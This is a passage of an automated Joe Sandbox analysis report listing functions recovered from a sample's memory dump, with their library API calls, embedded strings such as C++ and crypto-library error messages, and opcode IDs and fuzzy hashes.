Instruction Fuzzy Hash: 881160B6A04118BBCB14CFA5D884DDFBBBDEF99654B40C269F90497200D671DA058BE1

Function 68965A70 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 68965AB9
VariantCopy.OLEAUT32(?,689D9C90), ref: 68965AC1
VariantClear.OLEAUT32(?), ref: 68965AE2
__CxxThrowException@8.LIBCMT ref: 68965AEF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ClearCopyException@8InitThrow
String ID:
API String ID: 3826472263-0
Opcode ID: e9b1c31e16b64f12ffaffbbc1604334bea8a34868a0cb859b4187883b8f07fae
Instruction ID: ae9bf1a2f58863d144819af9196416cc0106d357e8c3340e5ddeaff991f5dd3c
Opcode Fuzzy Hash: e9b1c31e16b64f12ffaffbbc1604334bea8a34868a0cb859b4187883b8f07fae
Instruction Fuzzy Hash: 4911E672A04268AFDB10DF98C8C49DFBB7CFB45624F90412AF824A3301C7759E408BE1

Function 68978D80 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 68978D8A

Part of subcall function 689A9D66: __FF_MSGBANNER.LIBCMT ref: 689A9D7F
Part of subcall function 689A9D66: __NMSG_WRITE.LIBCMT ref: 689A9D86
Part of subcall function 689A9D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,689A9BD4,68941290,513F6A41), ref: 689A9DAB

Part of subcall function 689A91F6: std::_Lockit::_Lockit.LIBCPMT ref: 689A9202

_malloc.LIBCMT ref: 68978DAF
std::exception::exception.LIBCMT ref: 68978DD4
__CxxThrowException@8.LIBCMT ref: 68978DEB

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _malloc$AllocateException@8HeapLockitLockit::_Throwstd::_std::exception::exception
String ID:
API String ID: 3043633502-0
Opcode ID: 0db025daf4c3a9034fe17d28f53d3ab5d77ec70ed23aefb2be25b12918af1043
Instruction ID: 7b2cff0797e97aef96c409c45023a3bba94673b0f12099fdaf72beca47a8233c
Opcode Fuzzy Hash: 0db025daf4c3a9034fe17d28f53d3ab5d77ec70ed23aefb2be25b12918af1043
Instruction Fuzzy Hash: 97F02B765043116BD620EB595C51BBF76FCAFA1614FC0082CF97461600F722D108C5F7

Function 689B0A60 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 689B0A86

Part of subcall function 689B08B2: __fltout2.LIBCMT ref: 689B08DD

__cftog_l.LIBCMT ref: 689B0AAC
__cftoe_l.LIBCMT ref: 689B0ADE

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: d9cf03700726d7f32c24440ae99603e8f2d67620950f276b1a1e4191884bbd65
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: D8118C3700014EBBCF125E84DE15CEE3F26BB19358F998914FE2859030C336C6B2AB81

Function 689A8970 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 689A8A84
_memmove.LIBCMT ref: 689A8AA0

Strings

EncodingParameters, xrefs: 689A8A41

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove_memset
String ID: EncodingParameters
API String ID: 3555123492-55378216
Opcode ID: a9b8986899536f080f33b77bb5aa4bcf13afa94fa7454ce09e5e45afa6cc10be
Instruction ID: 5a1579e416ce4ebe480498162307e1e23db4c394ae1366f6352f07009cdea7c9
Opcode Fuzzy Hash: a9b8986899536f080f33b77bb5aa4bcf13afa94fa7454ce09e5e45afa6cc10be
Instruction Fuzzy Hash: B16111B4208341AFC304CF68C880A2AFBE9BFC9754F504A1DF59987391D7B0E941CBA2

Function 6894F190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 68944760: __CxxThrowException@8.LIBCMT ref: 689447F9

Part of subcall function 68978D80: _malloc.LIBCMT ref: 68978D8A
Part of subcall function 68978D80: _malloc.LIBCMT ref: 68978DAF

_memcpy_s.LIBCMT ref: 6894F282
_memset.LIBCMT ref: 6894F293

Strings

@, xrefs: 6894F2DE

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _malloc$Exception@8Throw_memcpy_s_memset
String ID: @
API String ID: 3081897325-2766056989
Opcode ID: c58c8dff6fcfd7eeda413869b2a5d4f2626d981f4059429d2ca1c3d1eca66228
Instruction ID: d0bfa27e7011caaaddc5fcde0867c857207d3d0fa09d67438d0b36472ddd8fa5
Opcode Fuzzy Hash: c58c8dff6fcfd7eeda413869b2a5d4f2626d981f4059429d2ca1c3d1eca66228
Instruction Fuzzy Hash: 1A519D74D00349EFDB20CFA8D841BEEBBB4BF55308F508198D45967281DBB1AA49CF92

Function 6897A160 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 689A95E6: type_info::_Name_base.LIBCMT ref: 689A95EF

__CxxThrowException@8.LIBCMT ref: 6897A2C7

Strings

Aj?Q, xrefs: 6897A1AE, 6897A1BF, 6897A1C3
: Missing required parameter ', xrefs: 6897A214

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Name_baseThrowtype_info::_
String ID: : Missing required parameter '$Aj?Q
API String ID: 1506718226-2123987499
Opcode ID: 214f106f3cd478204a3786b6969b986f6eaa4014e87519a3fefafa192e419f86
Instruction ID: 1c4e6aa233508993afdbdfef62148f2f2a69f51ecd3c507cd6feedaefd1ea6c2
Opcode Fuzzy Hash: 214f106f3cd478204a3786b6969b986f6eaa4014e87519a3fefafa192e419f86
Instruction Fuzzy Hash: DC515F7510C3819FD324CF58C854BABBBE5ABD9308F444A1DE19A57291DB75D808CB62

Function 68999D80 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 689A95E6: type_info::_Name_base.LIBCMT ref: 689A95EF

__CxxThrowException@8.LIBCMT ref: 68999EE7

Strings

Aj?Q, xrefs: 68999DCE, 68999DDF, 68999DE3
: Missing required parameter ', xrefs: 68999E34

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Name_baseThrowtype_info::_
String ID: : Missing required parameter '$Aj?Q
API String ID: 1506718226-2123987499
Opcode ID: 8b4b23c1a144664848a2906b21eb49e1697e9d5855825bc22687e74718f0befb
Instruction ID: 8bada39cb07375a90b1dea347a4a39ece16f736b4afd2c322229a6b2d4b5fb53
Opcode Fuzzy Hash: 8b4b23c1a144664848a2906b21eb49e1697e9d5855825bc22687e74718f0befb
Instruction Fuzzy Hash: 88515F7510C3819FD724CF68C854BABBBE9BBD9308F444A1DE19A57291DB71D808CB62

Function 68999F80 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 689A95E6: type_info::_Name_base.LIBCMT ref: 689A95EF

__CxxThrowException@8.LIBCMT ref: 6899A0E7

Strings

Aj?Q, xrefs: 68999FCE, 68999FDF, 68999FE3
: Missing required parameter ', xrefs: 6899A034

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Name_baseThrowtype_info::_
String ID: : Missing required parameter '$Aj?Q
API String ID: 1506718226-2123987499
Opcode ID: adafdc5c98dabe8156df93466ee12a1ee3fdcc69c63fee7ee733ce768f6d8efb
Instruction ID: f378da3f891d8436e9ec375068f9b56fb74f7520815db22af11fda0f3a29d373
Opcode Fuzzy Hash: adafdc5c98dabe8156df93466ee12a1ee3fdcc69c63fee7ee733ce768f6d8efb
Instruction Fuzzy Hash: 8C515F7510C3819FD724CF68C854BABBBE5BBD9308F444A1DE19A57291DB71D808CB62

Function 68944100 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68944175
_memmove.LIBCMT ref: 689441C6

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

Strings

string too long, xrefs: 68944170

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: be93ed1b179d7f253de0bf1e0f9cfac3bea3866abf5124d690de1e26c782afce
Instruction ID: 35c6e7165b67c68b1a717e212ec91af150d46a902c4b9f9a3e34f5eaffb3b056
Opcode Fuzzy Hash: be93ed1b179d7f253de0bf1e0f9cfac3bea3866abf5124d690de1e26c782afce
Instruction Fuzzy Hash: 8931D9367026104BD7308E5CEC80A6AF7EDFBB9764BA0051FE492CB640C761D8428BA1

Function 6897C350 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6897C39B

Strings

gfff, xrefs: 6897C3F7
gfff, xrefs: 6897C3A3

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw
String ID: gfff$gfff
API String ID: 2005118841-3084402119
Opcode ID: 0fc975951894ecdd0a9fd187ee17f5a7dd85dbf523fbdf3c3300f41ba2466e2d
Instruction ID: 06658562e22123a7c7db4c244ed36c5b87237d5b0bab53a82bf89beff29cefbe
Opcode Fuzzy Hash: 0fc975951894ecdd0a9fd187ee17f5a7dd85dbf523fbdf3c3300f41ba2466e2d
Instruction Fuzzy Hash: 8D313F75A0020DAFDB14CF98D980EBEB7B9EB94318F44861CE91597284D730BA05CBA1

Function 68941EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68941F36

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

std::exception::exception.LIBCMT ref: 68941F6E

Part of subcall function 689A95C1: std::exception::operator=.LIBCMT ref: 689A95DA

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 68944067
Part of subcall function 68944010: _memmove.LIBCMT ref: 689440C8

Strings

CryptoMaterial: this object does not support precomputation, xrefs: 68941ED4

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrow_memmovestd::exception::exceptionstd::exception::operator=
String ID: CryptoMaterial: this object does not support precomputation
API String ID: 2192554526-3625584042
Opcode ID: 645baa6354d2c9cef5e40f89faa31d630c186347d9e144b4e8096472da450cc1
Instruction ID: 80e86969c7890e3789fb72a4ef2d1b1edcca804fb921b3db493a53d98cb8bc0c
Opcode Fuzzy Hash: 645baa6354d2c9cef5e40f89faa31d630c186347d9e144b4e8096472da450cc1
Instruction Fuzzy Hash: 87319EB1904248EFCB10CF98D881AAEFBF8FB19714F50462EE421A7780D7769904CF91

Function 68953317 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 68953327

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

std::_Xinvalid_argument.LIBCPMT ref: 6895336B

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

Strings

vector<T> too long, xrefs: 68953366

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$ExceptionRaiseXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 1735018483-3788999226
Opcode ID: 4904963a7adcf0366c17620a5bb718dca50fff200df6856ff55c1b023e7b1519
Instruction ID: 29f7ca5bb0647e1dfb16f3a67a7ab5a3ae3b060b3038127c9b4888fc001d76fc
Opcode Fuzzy Hash: 4904963a7adcf0366c17620a5bb718dca50fff200df6856ff55c1b023e7b1519
Instruction Fuzzy Hash: 6F31D675A042069FCB14CF68D884E6EBBB4FF45718F544629F9259B380D732ED00CB92

Function 68965810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6896584D

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

VariantClear.OLEAUT32(00000000), ref: 68965899

Strings

vector<T> too long, xrefs: 68965848

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$ClearException@8ThrowVariantXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 2677079660-3788999226
Opcode ID: 4cac72c8d1bb6de0a511f789d2b9e67f0e0475ec8e28da6d930bbbe0a2e44365
Instruction ID: 06f6e93dcd40b0570eb47e13ba2b4b7ff1ed2a64005a9c425598de1380ce7421
Opcode Fuzzy Hash: 4cac72c8d1bb6de0a511f789d2b9e67f0e0475ec8e28da6d930bbbe0a2e44365
Instruction Fuzzy Hash: FC2183B6A006059FD710CF6CC880A6EB7F9FF85364F90462EE465D7741D735E9408B91

Function 68955750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6895576B

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

std::_Xinvalid_argument.LIBCPMT ref: 68955782

Strings

string too long, xrefs: 68955766, 6895577D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
